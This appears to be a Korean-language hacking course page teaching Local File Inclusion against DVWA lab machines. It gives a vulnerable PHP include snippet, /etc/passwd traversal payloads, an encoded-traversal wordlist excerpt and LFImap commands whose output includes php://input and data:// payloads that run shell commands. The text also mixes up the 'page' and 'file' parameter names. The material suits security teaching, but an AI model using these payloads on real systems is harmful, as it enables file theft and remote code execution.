> For the complete documentation index, see [llms.txt](https://redryan.gitbook.io/studyjoon/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://redryan.gitbook.io/studyjoon/hacking/bhpt/undefined-4/http/lfi-or-local-file-inclusion.md).

# LFI | Local File Inclusion

## HTTP - LFI (Local File Inclusion) <a href="#bkmrk-page-title" id="bkmrk-page-title"></a>

멀티페이지 애플리케이션(Multi-Page Application) 기반의 웹 애플리케이션들은 백엔드에서 파일이나 페이지 등을 포함시키거나 읽어오는 기능을 가지고 있습니다. 예를 들어 오래된 웹 서버들 (학교 홈페이지, 등)을 방문해 보면, URL이 다음과 같은 경우가 있습니다.

* 홈페이지: `www.rracademy.com/index.php`
* 로그인 페이지: `www.rracademy.com/index.php?page=signup.php`
* 게시판 페이지: `www.rracademy.com/index.php?page=board.php`

이처럼, 애플리케이션은 현재 실행 중인 운영체제 안의 어딘가에 있는 파일들(`signup.php, board.php` 등)을 불러와 `index.php` 안에 포함(include) 시키고 유저에게 보여줍니다.

<figure><img src="https://guides.redraccoon.kr/uploads/images/gallery/2025-01/scaled-1680-/m7w2oSViec8Fyv7d-image-1735976006063.png" alt=""><figcaption></figcaption></figure>

LFI(Local File Inclusion)은 백엔드에서 파일이나 페이지 등을 포함시키거나 읽어오는 기능을 악용해 공격자가 원하는 파일을 읽어오는 공격입니다. 일반적으로 파일 경로를 지정하는 GET 혹은 POST 파라미터에 공격자가 원하는 파일의 경로를 지정하는 형식으로 공격을 진행합니다. 공격자는 LFI 공격을 통해 민감한 파일(설정 파일, 운영체제와 관련된 파일)을 읽어오거나 원하는 웹 백엔드 파일을 실행시킬 수 있습니다.

LFI 취약점과 관련된 PHP 코드는 다음과 같습니다:

```sql
<!-- index.php - 다른 파일을 불러와 포함(include)시켜 보여줌 -->
<?php
$page = $_GET['page'];
include("includes/" . $page . ".php");
?>
```

위 코드에서 PHP는 GET 요청의 page 파라미터를 `$_GET['file']` 를 통해 읽어옵니다. 그 뒤, `include()` 문을 이용해 `includes/<유저-입력값>.php` 파일을 현재 페이지에 포함시키고 있습니다. 위 코드는 `https://example.com/index.php?page=signup.php` 등의 형식으로 운영체제 안에 있는 다른 PHP 파일을 불러온 뒤 포함 시키고, 이를 유저에게 보여주는 방식으로 실행됩니다.

여기서 공격자가 `page` 파라미터에 본인이 원하는 파일을 불러오도록 하는 것이 바로 LFI 공격입니다. 예를 들어 공격자는 다음과 같은 페이로드를 사용해 일반적인 PHP 파일이 아닌 운영체제에 존재하는 다른 파일을 읽을 수 있습니다.

```sql
https://example.com/index.php?file=../../../../../../etc/passwd
```

예를 들어 웹 서버가 `/var/www/html` 에서 실행중이였을 경우 `../../../../../../` 는 운영체제의 루트 디렉토리인 `/` 를 가르키게 됩니다. 그 후, `/etc/passwd` 파일을 불러와 `index.php`을 통해 `/etc/passwd`의 파일 내용을 보여주게 됩니다.

### 실습 <a href="#bkmrk-ec-8b-a4-ec-8a-b5" id="bkmrk-ec-8b-a4-ec-8a-b5"></a>

GET 혹은 POST 요청 중 `?page=` 나 `?include=` 등의 파라미터를 발견한 경우 `/../../../../../etc/passwd` 등의 간단한 페이로드들을 사용해 LFI에 취약한지 알아봅니다.

<figure><img src="https://287627346-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8ysBTUxkIeOC7SqTEZ2L%2Fuploads%2FG950lvJjHqVj41sRu9tN%2Fimage.png?alt=media&amp;token=0910e544-5ef2-4d22-af8a-70cea1955b64" alt=""><figcaption></figcaption></figure>

추가적인 LFI 진단 방법은 아래의 키워드를 참고합니다.

* URL Encoding 활용
* Double URL Encoding 활용
* PHP Wrapper (php\://filter)
* php\://filter 와 base64 인코딩 활용
* php\://filter 와 rot13 암호화 활용
* php\://filter/resource=<파일이름> 활용

LFI의 경우 디렉토리 브루트포싱과 비슷하게 이미 정해져 있는 사전 파일을 이용해 다양한 종류의 LFI 공격이 가능한지 확인할 수 있습니다. 이런 사전 파일들의 경우 위에서 알아본 추가적인 LFI 진단 방법이 적용된 문자열들이 들어가 있습니다.

예를 들어 실습에서 사용할 LFImap이라는 툴은 자체적으로 다음과 같은 LFI 파일 경로들을 기반으로 LFI를 진단합니다.

{% code lineNumbers="true" %}

```sql
# 출처: https://github.com/hansmach1ne/LFImap/blob/main/src/wordlists/long.txt
../../../..//etc/passwd
....//....//etc/passwd
..///////..////..//////etc/passwd
/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
%252e%252e%252fetc%252fpasswd
../../Windows/System32/drivers/etc/hosts;index.html
[ . . . 이외 1000개 . . .  ]
```

{% endcode %}

**LFImap을 활용한 LFI 진단**

{% code overflow="wrap" lineNumbers="true" %}

```sql
git clone https://github.com/hansmach1ne/LFImap.git
cd ./LFImap 

# python3-venv 설치
sudo apt install python3-venv

# 가상환경 생성
python3 -m venv venv

# 가상환경 활성화
source venv/bin/activate

# requirements.txt 설치
pip3 install -r requirements.txt

# 쿠키값이 없다면 url 만 넣으면 된다.
python3 lfimap.py -U "<url>" -a 

# DVWA 예시 - phpsessionid, security 필수 - 강의 영상 참고 
# DVMA 에서는 로그인 한 후에 세션유지를 위해서 쿠키값이 쓰이는데 이 실습랩에서는 쿠키값을 같이 넣어주어야 작동한다.
└─$ python3 lfimap.py -U "http://192.168.0.50/vulnerabilities/fi/?page=" -C "PHPSESSID=da4hacheeuoqgj161gpurhi180; security=low" -a
```

{% endcode %}

<pre><code><strong># LFIMAP 자동 진단 결과
</strong><strong>──(venv)─(root㉿kali-attacker)-[~/LFImap/lfimap]
</strong>└─# python3 lfimap.py -U "http://192.168.0.50/vulnerabilities/fi/?page=" -C "PHPSESSID=da4hacheeuoqgj161gpurhi180; security=low" -a

[i] Testing GET 'page' parameter...
[+] LFI -> 'http://192.168.0.50/vulnerabilities/fi/?page=php%3A%2F%2Ffilter%2Fresource%3D%2Fetc%2Fpasswd'
[+] RCE -> 'http://192.168.0.50/vulnerabilities/fi/?page=php%3a%2f%2finput&#x26;cmd=cat%20%2Fetc%2Fpasswd' -> HTTP POST -> '&#x3C;?php echo(shell_exec($_GET['cmd']));?>'
[+] RCE -> 'http://192.168.0.50/vulnerabilities/fi/?page=data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4K&#x26;c=cat%20%2Fetc%2Fpasswd'
[+] LFI -> 'http://192.168.0.50/vulnerabilities/fi/?page=file%3A%2F%2F%2Fetc%2Fpasswd'
[+] LFI -> 'http://192.168.0.50/vulnerabilities/fi/?page=/etc/passwd'

----------------------------------------
LFImap finished with execution.
Parameters tested: 1
Requests sent: 18
Vulnerabilities found: 5

</code></pre>

<figure><img src="https://287627346-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8ysBTUxkIeOC7SqTEZ2L%2Fuploads%2FdQHHh6yuzujnGWj1lKWn%2Fimage.png?alt=media&amp;token=3882d0ec-ad6e-44af-a3e4-46173791128e" alt=""><figcaption></figcaption></figure>

### 연습 문제 <a href="#bkmrk-ec-97-b0-ec-8a-b5-eb-ac-b8-ec-a0-9c" id="bkmrk-ec-97-b0-ec-8a-b5-eb-ac-b8-ec-a0-9c"></a>

* `mod3ex` 머신의 포트 80에서 실행 중인 `lfi.php` 파일을 찾아 LFI를 실행해보세요.
* `mod3ex` 머신의 포트 4280에서 실행 중인 DVWA의 `Local File Inclusion` 페이지에서 LFI를 실행해보세요. 난이도는 Low에서 시작해서 Medium, Hard까지 올라가보세요.
* LFIMap을 이용해 자동화 LFI 진단을 실행해보세요.
